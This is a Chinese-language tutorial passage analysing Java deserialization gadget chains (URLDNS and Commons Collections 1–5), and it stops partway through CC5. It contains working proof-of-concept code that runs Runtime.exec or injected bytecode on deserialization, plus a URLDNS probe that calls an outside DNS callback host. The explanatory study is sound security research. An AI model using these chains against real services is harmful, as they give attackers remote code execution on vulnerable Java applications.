URLDNS URLDNS经常用于快速检测反序列化漏洞是否存在的链,因为使用的原生类没有jdk版本限制。
Gadget Chain 1 2 3 4 * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode()
通过利用链一点点分析首先是HashMap,反序列漏洞首先要执行readObject方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException ("Illegal load factor: " + loadFactor); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); else if (mappings > 0 ) { float lf = Math.min(Math.max(0.25f , loadFactor), 4.0f ); float fc = (float )mappings / lf + 1.0f ; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int )fc)); float ft = (float )cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int )ft : Integer.MAX_VALUE); SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node [cap]; table = tab; for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
重点在于方法中最后的putVal方法中调用了hash方法 而在hash方法中又调用了key的hashCode方法,而key是HashMap中可以put写入的对象。 这时再看java.net.URL中的hashCode方法 在此方法中又调用了handler对象(URLStreamHandler类)的hashCode方法 进而执行了getHostAddress方法,此方法中触发了DNS请求
接下来回到HashMap#readObject: 其中的key是通过readObject获得,那么在writeObject时必然会将key写入。 在internalWriteEntries方法中,key和value是通过遍历tab遍历写入的,而tab则是HashMap中table的值,,table的内容是由HashMap#put传入的,在HashMap#put方法中也会对key调用hash方法,这时会产生一次dns请求。 检测反序列化漏洞存在,是要判断在反序列时是否进行了dns请求,所以在序列化对象时并不想进行一次dns请求从而误报。 回过来看URL#hashCode() 只要hashCode属性的内容不为-1就不会进入到handler.hashCode方法,也就不用触发dns请求,所以在HashMap#put之前修改下URL.hashCode的值不为-1即可。hashCode为private需要在获取filed后设置setAccessible为true。put后需要修改为-1避免影响反序列化的流程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 HashMap hashMap = new HashMap (); URL url = new URL ("http://des.3z5yg9.tweb.email" ); Field field = Class.forName("java.net.URL" ).getDeclaredField("hashCode" ); field.setAccessible(true ); field.set(url,123 ); System.out.println(url.hashCode()); hashMap.put(url,123 ); field.set(url,-1 ); try { FileOutputStream outputStream = new FileOutputStream ("./ser.obj" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (outputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.close(); outputStream.close(); FileInputStream inputStream = new FileInputStream ("./ser.obj" ); ObjectInputStream objectInputStream = new ObjectInputStream (inputStream); objectInputStream.readObject(); objectInputStream.close(); inputStream.close(); }catch (Exception e){ e.printStackTrace(); }
在ysoserial的payload里使用了子类继承URLStreamHandler重写了openConnection以及getHostAddress方法在put时直接返回null 那么再反序列化时为什么还是可以进行DNS查询呢,答案在URL类中handler被关键字transient所修饰(在进行序列化的时候,此关键字修饰的成员变量,不进行序列化的操作),所以最终handler还是初始类型URLStreamHandler。
Commons Collections Commons Collections1 Gadget Chain 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
先看利用链的后半部分 **InvokerTransformer**¡ 利用反射来执行某个类的方法ConstantTransformer 此方法会将传入的对象原样返回
ChainedTransformer 这三个类结合到一起就可以执行任意命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public class PayloadTest { public static void main (String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{ "getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{ Object.class, Object[].class}, new Object []{ null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open /System/Applications/Calculator.app" })}); chain.transform(123 ); System.out.println(Runtime.class.getClass().getMethod("getMethod" , String.class, Class[].class).invoke(Runtime.class, "getRuntime" , new Class [0 ]).getClass().getMethod("invoke" , new Class []{ Object.class, Object[].class}).invoke(Runtime.class.getClass().getMethod("getMethod" , String.class, Class[].class).invoke(Runtime.class, "getRuntime" , new Class [0 ]), null , new Object [0 ])); } }
因为是要在反序列化时触发所以需要找到一个序列化的点其中调用了transform方法,接下来就是链的前段部分,LazyMap.get()方法中factory调用了transform方法。
factory对象的类型为protected final没有被static与transient修饰,并且可由类初始化赋值,所以是可被序列化控制的。
因为此构造方法被protected所修饰,所以无法直接构建可通过反射或者LazyMap.decorate()方法来构建。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 ChainedTransformer chain = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{ "getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{ Object.class, Object[].class}, new Object []{ null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open /System/Applications/Calculator.app" })}); HashMap map = new HashMap (); Map lazymap = LazyMap.decorate(map, chain); lazymap.get(111 );
接下来就是要寻找哪里使用了LazyMap.get(),这就到了CC1链的前段部分AnnotationInvocationHandler了,首先是invoke方法中调用了memberValues.get(),
再看memberValues是由AnnotationInvocationHandler类的构造方法传入而来,而此类实现了InvocationHandler是一个Handler,在调用这个类的某个方法时可以触发代理类的invoke方法 在AnnotationInvocationHandler.readObject方法中调用了memberValues.entrySet().iterator(),如果传入的memberValues是一个代理类就会触发memberValues对应Handler的invoke方法(AnnotationInvocationHandler恰好是Handler)从而触发LazyMap.get()。
完整利用POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public static void main (String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{ "getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{ Object.class, Object[].class}, new Object []{ null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open /System/Applications/Calculator.app" })}); HashMap map = new HashMap (); Map lazymap = LazyMap.decorate(map, chain); Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true ); InvocationHandler mapHandler = (InvocationHandler) handlerConstructor.newInstance(Override.class,lazymap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class []{Map.class},mapHandler); Constructor aihConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class, Map.class); aihConstructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap); ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("./cc1.ser" )); objectOutputStream.writeObject(handler); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream ("./cc1.ser" )); objectInputStream.readObject(); }
这里创建了两个Handler:
流程是 AnnotationInvocationHandler.readObject->this.memberValues.entrySet()(proxyMap.entrySet())->mapHandler.invoke->AnnotationInvocationHandler.invoke此时memberValues为lazymap->this.memberValues.get(var4)(即lazymap.get(va4))
Commons Collections2 Gadget Chain 1 2 3 4 5 6 7 8 ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
根据利用链进行分析首先是PriorityQueue.readObject() 对输入流进行了反序列化来恢复对象数据,然后进入到heapify方法。 此方法先判断了队列数量是否大于2((size >>> 1)-1 右移一位-1的结果要大于或等于0才满足循环条件)如果大于2则进入到siftDown方法 这里如果属性comparator不为null则进入到siftDownUsingComparator方法,在此方法中执行了comparator.compare方法,comparator可以通过实例化PriorityQueue对象时传入。接着进入了链的下一个TransformingComparator类
此类存在一个compare方法而且方法中调用了transform方法,只要this.transoformer可控,那么结合cc1中的ChainedTransformer那么就可以执行命令了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ChainedTransformer chain = new ChainedTransformer (new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{ String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" ,new Class []{ Object.class, Object[].class}, new Object []{null ,new Object [0 ]}), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"open /System/Applications/Calculator.app" }) }); TransformingComparator comparator = new TransformingComparator ((org.apache.commons.collections4.Transformer) chain);PriorityQueue queue = new PriorityQueue ();queue.add(1 ); queue.add(2 ); Field field = Class.forName("java.util.PriorityQueue" ).getDeclaredField("comparator" );field.setAccessible(true ); field.set(queue,comparator); ObjectOutputStream out = new ObjectOutputStream (new FileOutputStream ("./ss2.ser" ));out.writeObject(queue); out.close(); ObjectInputStream os = new ObjectInputStream (new FileInputStream ("./ss2.ser" ));os.readObject(); os.close();
在ysoserial中是怎么利用的呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 final Object templates = Gadgets.createTemplatesImpl(command); final InvokerTransformer transformer = new InvokerTransformer ("toString" , new Class [0 ], new Object [0 ]);final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 ,new TransformingComparator (transformer));queue.add(1 ); queue.add(1 ); Reflections.setFieldValue(transformer, "iMethodName" , "newTransformer" ); final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue" );queueArray[0 ] = templates; queueArray[1 ] = 1 ; return queue;
首先是将命令传入到createTemplatesImpl方法 不满足条件则进入到createTemplatesImpl的另一个重载方法
使用javassist创建了一个继承AbstractTranslet的类static语句块会在类初始化执行 这里的Foo.class以及_tfactory属性是可以不用设置的,_name是必须要设置的原因是在TemplatesImpl.newTransformer时会进入到getTransletInstance方法,此方法中会验证_name属性是否为null。 最后返回一个TemplatesImpl对象,继续到链的InvokerTransformer中
这里创建了一个InvokerTransformer对象,methodName使用toString做填充没有其他作用。下面就是创建链的前半部分,通过反射将transformer的iMethodName修改为newTransformer并将queue[0]的值修改为templates`。
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath (AbstractTranslet.class)); CtClass ctc = pool.makeClass("Evil" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");" ; ctc.makeClassInitializer().insertAfter(cmd); ctc.setName("Evil" + System.nanoTime()); CtClass superC = pool.get(AbstractTranslet.class.getName()); ctc.setSuperclass(superC); byte [] classBytes = ctc.toBytecode(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field field = templates.getClass().getDeclaredField("_bytecodes" ); field.setAccessible(true ); field.set(templates,new byte [][]{classBytes}); field = templates.getClass().getDeclaredField("_name" ); field.setAccessible(true ); field.set(templates,"name" ); InvokerTransformer transformer = new InvokerTransformer ("toString" ,new Class [0 ], new Object [0 ]); Comparator comparator = new TransformingComparator (transformer); PriorityQueue<Object> queue = new PriorityQueue <Object>(2 ,comparator); queue.add(1 ); queue.add(2 ); Field field1 = transformer.getClass().getDeclaredField("iMethodName" ); field1.setAccessible(true ); field1.set(transformer,"newTransformer" ); Field field2 = queue.getClass().getDeclaredField("queue" ); field2.setAccessible(true ); Object[] queueArray = (Object[]) field2.get(queue); queueArray[0 ] = templates; queueArray[1 ] = 1 ; try { ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("./cc2" )); outputStream.writeObject(queue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("./cc2" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); }
Commons Collections3 cc3像是cc1与cc2的结合,仅做了两个改动,分别是:
TrAXFilter
InstantiateTransformer
TrAXFilter: 在TrAXFilter的构造方法中执行了templates.newTransformer的方法。InstantiateTransformer:
在InstantiateTransformer类的最后创建了input的实例,在结合TrAXFilter类,设置input参数为TrAXFilter类,那么就可以在执行InstantiateTransformer.transform方法中创建TrAXFilter类的构造方法从而触发templates.newTransformer()方法。
Gadget:
Commons Collections4 cc4是cc2于cc3的结合,只是将InvokerTransformer替换为InstantiateTransformer其他没有什么变化。
Commons Collections5 Gadget Chain
对比Commons Collections1,5只是变动了AnnotationInvocationHandler,引入了两个类:
BadAttributeValueExpException
TiedMapEntry
后半部分没有其他变化。
在cc1中AnnotationInvocationHandler适用于触发LazyMap.get方法,那么cc5引入的这两个类是怎么触发的呢?TiedMapEntry: 在TiedMapEntry类中有一个Map类型的map属性,并且在方法getValue中执行了map.get,同时在类中的equals、hashCode、toString方法中都调用了getValue方法。